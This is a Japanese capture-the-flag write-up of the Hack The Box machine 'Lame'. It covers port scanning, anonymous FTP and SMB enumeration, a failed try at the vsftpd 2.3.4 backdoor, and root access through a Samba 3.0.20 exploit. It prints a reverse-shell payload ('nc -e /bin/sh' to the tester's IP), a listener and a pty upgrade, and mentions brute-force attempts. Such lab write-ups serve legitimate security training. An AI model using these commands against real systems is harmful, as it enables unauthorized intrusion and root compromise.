Hack The Box: Lameのwriteup。
ラビットホールにハマりまくって、手こずってしまった。
以下はnmapのスキャン結果。
└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-20 09:19 EST
Nmap scan report for 10.129.234.73
Host is up (0.30s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.16.174
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2025-01-20T09:21:21-05:00
|_clock-skew: mean: 2h30m37s, deviation: 3h32m11s, median: 34s
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 86.13 seconds
21番ポートにanonymous
ユーザーとしてFTP接続できるようだったので、anonymous:anonymous
でFTP接続してみたが、何も見るべきものが無かった。
└─$ ftp $RHOST
Connected to 10.129.234.73.
220 (vsFTPd 2.3.4)
Name (10.129.234.73:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||17561|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -la
229 Entering Extended Passive Mode (|||27612|).
150 Here comes the directory listing.
drwxr-xr-x 2 0 65534 4096 Mar 17 2010 .
drwxr-xr-x 2 0 65534 4096 Mar 17 2010 ..
226 Directory send OK.
続いて445番ポート (SMB)の確認。
複数のSMB共有フォルダを発見。
└─$ smbclient -L $RHOST
Password for [WORKGROUP\kali]:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP
上記のうち、アクセスできたのはtmp
フォルダのみだった。
└─$ smbclient //$RHOST/tmp
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jan 20 09:26:56 2025
.. DR 0 Sat Oct 31 03:33:58 2020
.ICE-unix DH 0 Mon Jan 20 09:20:07 2025
vmware-root DR 0 Mon Jan 20 09:20:16 2025
.X11-unix DH 0 Mon Jan 20 09:20:39 2025
.X0-lock HR 11 Mon Jan 20 09:20:39 2025
5741.jsvc_up R 0 Mon Jan 20 09:21:24 2025
vgauthsvclog.txt.0 R 1600 Mon Jan 20 09:20:05 2025
tmp
フォルダの内容物をダウンロード。
└─$ smbclient //$RHOST/tmp -c 'prompt OFF; recurse ON; mget *'
Password for [WORKGROUP\kali]:
Anonymous login successful
getting file \.X0-lock of size 11 as .X0-lock (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
NT_STATUS_ACCESS_DENIED opening remote file \5741.jsvc_up
getting file \vgauthsvclog.txt.0 of size 1600 as vgauthsvclog.txt.0 (1.0 KiloBytes/sec) (average 0.6 KiloBytes/sec)
NT_STATUS_ACCESS_DENIED listing \vmware-root\*
NT_STATUS_ACCESS_DENIED opening remote file \.X11-unix\X0
上記のメッセージが示すとおり、権限の問題でダウンロードできないものが複数あり、まともにダウンロードできたのは.X0-lock
とvgauthsvclog.txt.0
の2つのファイルのみだった。
以下は.X0-lock
の中身。
└─$ cat .X0-lock
5803
以下はvgauthsvclog.txt.0
の中身。
└─$ cat vgauthsvclog.txt.0
[Jan 20 09:20:05.826] [ message] [VGAuthService] VGAuthService 'build-4448496' logging at level 'normal'
[Jan 20 09:20:05.826] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file '/etc/vmware-tools/vgauth.conf'
[Jan 20 09:20:05.826] [ message] [VGAuthService] Group 'service'
[Jan 20 09:20:05.826] [ message] [VGAuthService] samlSchemaDir=/usr/lib/vmware-vgauth/schemas
[Jan 20 09:20:05.826] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences
[Jan 20 09:20:05.857] [ message] [VGAuthService] VGAuthService 'build-4448496' logging at level 'normal'
[Jan 20 09:20:05.857] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file '/etc/vmware-tools/vgauth.conf'
[Jan 20 09:20:05.857] [ message] [VGAuthService] Group 'service'
[Jan 20 09:20:05.857] [ message] [VGAuthService] samlSchemaDir=/usr/lib/vmware-vgauth/schemas
[Jan 20 09:20:05.857] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences
[Jan 20 09:20:05.857] [ message] [VGAuthService] Cannot load message catalog for domain 'VGAuthService', language 'C', catalog dir '.'.
[Jan 20 09:20:05.857] [ message] [VGAuthService] INIT SERVICE
[Jan 20 09:20:05.857] [ message] [VGAuthService] Using '/var/lib/vmware/VGAuth/aliasStore' for alias store root directory
[Jan 20 09:20:05.897] [ message] [VGAuthService] SAMLCreateAndPopulateGrammarPool: Using '/usr/lib/vmware-vgauth/schemas' for SAML schemas
[Jan 20 09:20:05.930] [ message] [VGAuthService] SAML_Init: Allowing 300 of clock skew for SAML date validation
[Jan 20 09:20:05.930] [ message] [VGAuthService] BEGIN SERVICE
vgauthsvclog.txt.0
はVMware Guest Authentication Serviceのログファイルのようだが、認証情報などの有益の情報は見つからなかった。
ここから、しばらく迷走してしまった。以下やったこと。
- SSHログオンのブルートフォース
- SMBログオンのブルートフォース
- nmapのSMB関連のスクリプトを用いて445番ポートを重点的にスキャン
しかし、いずれも突破口とはならなかった。
再度、nmapのスキャン結果を眺めたところ、最初は特に気に留めていなかったが、FTPのバージョンがvsftpd 2.3.4であることに気づいた。
21/tcp open ftp vsftpd 2.3.4
で、ググってみたところ、vsftpd 2.3.4にはバックドアが含まれているらしいことが分かった。
「:)
」を含むユーザー名でログインすると、6200番ポートにてシェルが開くらしい。
さっそく試してみた。
└─$ telnet $RHOST 21
Trying 10.129.234.77...
Connected to 10.129.234.77.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
USER nergal:)
331 Please specify the password.
PASS pass
が、シェルは開かず。。。
└─$ telnet $RHOST 6200
Trying 10.129.234.79...
id
^C
└─$ nmap -Pn -p 6200 $RHOST
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-22 08:28 EST
Nmap scan report for 10.129.234.79
Host is up.
PORT STATE SERVICE
6200/tcp filtered lm-x
Nmap done: 1 IP address (1 host up) scanned in 2.16 seconds
どうやら、この脆弱性は使えないらしい。
再度、nmapのスキャン結果を眺めてみた。こちらも最初は気にしていなかったが、SMBにSamba 3.0.20を使用していることに気づいた。
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
で、ググってみたところ、Samba 3.0.20は遠隔コード実行の脆弱性があるらしい。
こちらのエクスプロイトをダウンロードして実行したところ、シェルがroot権限で起動した。
└─$ python3 smbExploit.py $RHOST 139 'nc -e /bin/sh 10.10.16.174 53'
[*] Sending the payload
└─$ rlwrap nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.234.80] 55896
id
uid=0(root) gid=0(root)
whoami
root
以下のPythonワンライナーでシェルを補強。
python -c 'import pty; pty.spawn("/bin/bash")'
root@lame:/#
一般ユーザーのフラグ/home/makis/user.txt
とrootユーザーのフラグ/root/root.txt
を入手。
root@lame:/# ls -l /home/makis
ls -l /home/makis
total 4
-rw-r--r-- 1 makis makis 33 Jan 22 09:00 user.txt
root@lame:/# ls -l /root
ls -l /root
total 16
drwxr-xr-x 2 root root 4096 May 20 2012 Desktop
-rwx------ 1 root root 401 May 20 2012 reset_logs.sh
-rw------- 1 root root 33 Jan 22 09:00 root.txt
-rw-r--r-- 1 root root 118 Jan 22 09:00 vnc.log